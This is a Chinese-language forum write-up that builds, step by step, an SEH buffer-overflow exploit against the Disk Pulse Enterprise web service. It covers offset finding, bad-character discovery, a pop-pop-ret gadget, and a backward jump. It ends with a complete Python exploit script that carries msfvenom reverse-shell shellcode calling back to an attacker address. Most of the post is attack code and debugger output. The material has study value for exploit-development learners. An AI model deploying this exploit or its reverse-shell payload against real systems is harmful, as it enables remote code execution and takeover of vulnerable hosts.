-
-
[原创] SEH 溢出调试分析记录-Diskpls
-
发表于: 2小时前 39
-
SEH 溢出调试分析记录-Diskpls
1.Fuzz测试
漏洞程序diskpulseent_setup_v10.0.12
exploit-db 链接 : 39dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2P5s2m8D9L8$3W2@1i4K6u0V1k6r3u0Q4x3X3g2U0L8$3#2Q4x3V1k6W2P5s2m8D9L8$3W2@1M7#2)9J5c8U0b7J5y4K6M7^5
正常安装以后开启80端口的Web服务

先来写一个基础的Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | #!/usr/bin/pythonimport socket, syshost = sys.argv[1]port = 80def send_exploit_request(): buffer = "\x41" * 6000 #HTTP Request request = "GET /" + buffer + "HTTP/1.1" + "\r\n" request += "Host: " + host + "\r\n" request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n" request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n" request += "Accept-Language: en-US,en;q=0.5" + "\r\n" request += "Accept-Encoding: gzip, deflate" + "\r\n" request += "Connection: keep-alive" + "\r\n\r\n" request = request.encode() # 注意这里有个很大的坑,会在PPR的部分解释清楚这个 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(request) s.close()if __name__ == "__main__": send_exploit_request() |
加载到windbg当中,这里情况要简单的多,只有一个SEH结构,只需要关心这个部分即可。

2.定位溢出位置
这里如果使用msf生成的字符串会有个问题
1 | buffer = b'Aa0Aa1Aa' # msf-pattern_create -l 6000 |
在windbg查看这个部分,会发现完全找不到我们想要的字符串,这看起来像是溢出+坏字符一起引发的崩溃。

考虑使用二分法,修改代码
1 | buffer = '\x41'* 3000 + '\x42' * 3000 |
查看windbg,溢出的位置在前面的3000个A的部分。

再次分一次,来确认一下位置。
1 | buffer = '\x41'* 1500 + '\x42' * 4500 |
加载windbg

此时就能够比较清晰的查看到,想要溢出覆盖到SE Handler的距离还差大概999 + 4字节
简单分析一下
01c1fb5c这里全是 A。说明到这里为止,还是1500 个 A 的部分,我们知道内存是小端序显示的,所以接下来的42424241实际上是41 42 42 42,这就是为什么以01c1fb5c+5来计算
我们知道SEH这种结构体,SE Handler之前4个字节是Next SEH
所以实际上我们需要修改代码为:
1 2 3 4 | Next_Seh = '\x42' * 4SE_Handler = '\x43' * 4buffer = '\x41'* 2495 + Next_Seh + SE_Handlerbuffer += '\x44' * (size - len(buffer)) |
加载到windbg,从输出当中可以看到一切都符合预期。

分析这个输出
1 2 3 4 5 6 7 8 | 01c5ff44 42424242 43434343 44444444 44444444 ^ ^ ^ | | | | | Shellcode位置 (buffer尾部) | | | SE Handler (PPR地址位置) -> 偏移 2499 | Next SEH (JMP Short位置) -> 偏移 2495 |
3.坏字符检测
如果直接用常规方式进行坏字符检测,
1 2 3 | badchars = '\x01.....' #.....buffer += badchars |
会观察到如下现象

这样的输出完全无法得知坏字符,所以这里的检测还是要用二分法。简单来说就是把badchars写成这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | badchars = ( '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c' '\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18' '\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24' '\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30' '\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c' '\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48' '\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54' '\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60' '\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c' # '\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78' # '\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84' # '\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90' # '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c' # '\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8' # '\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4' # '\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0' # '\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc' # '\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8' # '\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4' # '\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0' # '\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc' # '\xfd\xfe\xff' )Next_Seh = '\x42' * 4SE_Handler = '\x43' * 4buffer = '\x41'* 2495 + Next_Seh + SE_Handler# \x00 \x01buffer += badcharsbuffer += '\x44' * (size - len(buffer)) |
简单来说就是先注释一半,然后这样慢慢定位存在坏字符的部分,然后再逐个检测。
细致一点可以逐行注释,只要遇到下列情况,说明当前行存在坏字符,就可以逐字符排查了。

可以针对单行进行二分法分割检测
1 | '\x01\x02\x03\x04\x05'#\x06\x07\x08\x09\x0a\x0b\x0c' |
查看windbg,这样说明\x01 - \x05没有问题然后再对剩下的部分逐个测试

直到我们测试出第一个坏字符\x09,
1 | '\x01\x02\x03\x04\x05\x06\x07\x08\x09'#\x0a\x0b\x0c' |
windbg显示如下:

当我们删除\x09
1 | '\x01\x02\x03\x04\x05\x06\x07\x08'#\x0a\x0b\x0c' |
查看windbg,会发现显示符合预期

重复这个过程直到找到所有坏字符,这个过程所需的时间非常多,因为基本上都需要逐个检测
1 | \x00 \x0a \x09 \x0d \x20 |
这里会注意到一个问题,观察windbg的输出,可以看出这段缓冲区完全放不下badchars,这里就需要留意一下,如果连badchars都放不下,那就更加不可能放得下shellcode,至于badchars的解决方案,还是二分法注释,只需要把后面的部分给发送出来即可
同时这里要注意一个点,当使用.encode()来处理数据的时候,坏字符的部分,测试后半部分的坏字符,当坏字符大于\x7f时,查看windbg会发现,多出了一些莫名其妙的字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | badchars = ( # '\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c' # '\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18' # '\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24' # '\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30' # '\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c' # '\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48' # '\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54' # '\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60' # '\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c' '\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78' '\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84' '\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90' '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c' '\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8' '\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4' '\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0' '\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc' '\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8' '\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4' '\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0' '\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc' '\xfd\xfe\xff' ) |
windbg输出,可以看到虽然没有崩溃,但是\x7f之后本应该是\x80但是,现在这里补了一个C2,这一点要尤其注意。

如果常规情况遇到这个情况,原因是在 HTTP 协议处理中,当程序接收到大于 127 (0x7F) 的扩展 ASCII 字符时,它会再次进行了 UTF-8 编码转换。 比如在 UTF-8 中,\x90 会被编码为双字节序列 \xC2\x90。这个叫做Character Encoding Expansion (字符编码膨胀)
注意:这里有个很大的坑,会在PPR指令查找的部分填坑
这就是为什么内存里会平白无故多了一个 \xC2。

4.PPR指令查找
这个部分在之前的文章当中有完整的提到过,所以不在这里赘述,还是一样,使用narly,以及wds脚本
1 2 3 4 5 6 7 8 9 10 | .block{ .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01) { .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01) { s-[1]b 10000000 100d4000 $t0 $t1 c3 } }} |
查看!nmod输出,和之前的一样,并且我推测大概率存在相同的dll地址竞争的问题

运行查找脚本,这里为了保险起见,最好在10000000这个起始地址被libspp占用时,在执行一边这个操作,查找另外一个PPR指令

注意DLL地址竞争


需要找到两个DLL当中的PPR指令地址,并且这个地址要求,首先不能包含坏字符,其次地址尽量不要包含比\x7f大的部分
1 2 3 4 5 6 7 8 | Next_Seh = '\x42' * 4SE_Handler = '\x1c\x1a\x0b\x10' # 0x100b1a1c libspp!SCA_ProcessOp::~SCA_ProcessOp+0x3c: pop esi;pop ebx;ret# SE_Handler = '\x59\x12\x02\x10' # 0x10021259 libpal!SCA_GetTopDirName+0x39: pop ebx; pop ecx;retbuffer = '\x41'* 2495 + Next_Seh + SE_Handler# buffer += badcharsbuffer += '\x44' * (size - len(buffer)) |
加载到windbg,完全符合预期

字符膨胀原因解释
多次排查以后,发现代码当中存在的问题,Python 3 的 Unicode 机制,我使用encode()来处理字符转换,所以会产生字符膨胀的问题,修改代码,直接用bytes这种方式就可以轻松避免这个问题 -_-
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | Next_Seh = b'\xeb\x04' # jmp short 0x6SE_Handler = b'\x1c\x1a\x0b\x10' # 0x100b1a1c libspp!SCA_ProcessOp::~SCA_ProcessOp+0x3c: pop esi;pop ebx;ret# SE_Handler = '\x59\x12\x02\x10' # 0x10021259 libpal!SCA_GetTopDirName+0x39: pop ebx; pop ecx;retbuffer = b'\x41'* 2495 + Next_Seh + SE_Handler# buffer += badcharsbuffer += b'\x44' * (size - len(buffer)) #HTTP Requestrequest = b"GET /" + buffer + b"HTTP/1.1" + b"\r\n"request += b"Host: " + host.encode() + b"\r\n"request += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + b"\r\n"request += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + b"\r\n"request += b"Accept-Language: en-US,en;q=0.5" + b"\r\n"request += b"Accept-Encoding: gzip, deflate" + b"\r\n"request += b"Connection: keep-alive" + b"\r\n\r\n" |
5.空间问题
接着,需要解决空间问题,这里不需要计算的多么精细,甚至肉眼可见的放不下一段完整的shellcode。
1 2 3 4 5 6 | 0:015> dd 01e4ff44 L3001e4ff44 42424242 100b1a1c 44444444 44444444......01e4fff4 44444444 44444444 44444444 ????????0:015> ? 01e4fff4 - 01e4ff44Evaluate expression: 176 = 000000b0 |
但是,别忘了,我们用于填充的部分,是有2495个A的。另外需要注意的就是,在这个程序当中,溢出发生在SE Handler上下文的部分,而非esp附近,所以我们的逻辑如下:
1 | PPR -> Next SEH -> jmp short 0x8 -> nop -> jmp shellcode |
使用负数的思路回跳
1 2 | 0:001> ? 0xffffffff - 0n495Evaluate expression: -496 = fffffe10 |
之后使用jmp 0xfffffe10让执行流回到开头A的部分当中的shellcode部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | Next_Seh = b'\xeb\x06\x90\x90' # jmp short 0x8# SE_Handler = b'\x1c\x1a\x0b\x10' # 0x100b1a1c libspp!SCA_ProcessOp::~SCA_ProcessOp+0x3c: pop esi;pop ebx;retSE_Handler = b'\x59\x12\x02\x10' # 0x10021259 libpal!SCA_GetTopDirName+0x39: pop ebx; pop ecx;retshellcode = b'\x90' * 20# msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai -b '\x00\x0a\x09\x0d\x20'shellcode += b"\xba\x2b\xf9\xa4\x37\xdb\xcd\xd9\x74\x24\xf4"......shellcode += b'\x90' * (495 - len(shellcode))jmp_esp = b'\xE9\x0B\xFE\xFF\xFF' # E90BFEFFFFbuffer = b'\x41'* 2000 + shellcode + Next_Seh + SE_Handler + jmp_esp# buffer += badcharsbuffer += b'\x90' * (size - len(buffer)) |
6.Get Shell
最终代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | #!/usr/bin/pythonimport socket, syshost = sys.argv[1]port = 80size = 6000def send_exploit_request(): # \x00 \x0a \x09 \x0d \x20 Next_Seh = b'\xeb\x06\x90\x90' # jmp short 0x8 # SE_Handler = b'\x1c\x1a\x0b\x10' # 0x100b1a1c libspp!SCA_ProcessOp::~SCA_ProcessOp+0x3c: pop esi;pop ebx;ret SE_Handler = b'\x59\x12\x02\x10' # 0x10021259 libpal!SCA_GetTopDirName+0x39: pop ebx; pop ecx;ret shellcode = b'\x90' * 20 # msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai -b '\x00\x0a\x09\x0d\x20' shellcode += b"\xba\x2b\xf9\xa4\x37\xdb\xcd\xd9\x74\x24\xf4" ...... shellcode += b'\x90' * (495 - len(shellcode)) jmp_esp = b'\xE9\x0B\xFE\xFF\xFF' # E90BFEFFFF jmp 0xfffffe10 buffer = b'\x41'* 2000 + shellcode + Next_Seh + SE_Handler + jmp_esp # buffer += badchars buffer += b'\x90' * (size - len(buffer)) #HTTP Request request = b"GET /" + buffer + b"HTTP/1.1" + b"\r\n" request += b"Host: " + host.encode() + b"\r\n" request += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + b"\r\n" request += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + b"\r\n" request += b"Accept-Language: en-US,en;q=0.5" + b"\r\n" request += b"Accept-Encoding: gzip, deflate" + b"\r\n" request += b"Connection: keep-alive" + b"\r\n\r\n" # request = request.encode() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(request) s.close()if __name__ == "__main__": send_exploit_request() |

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!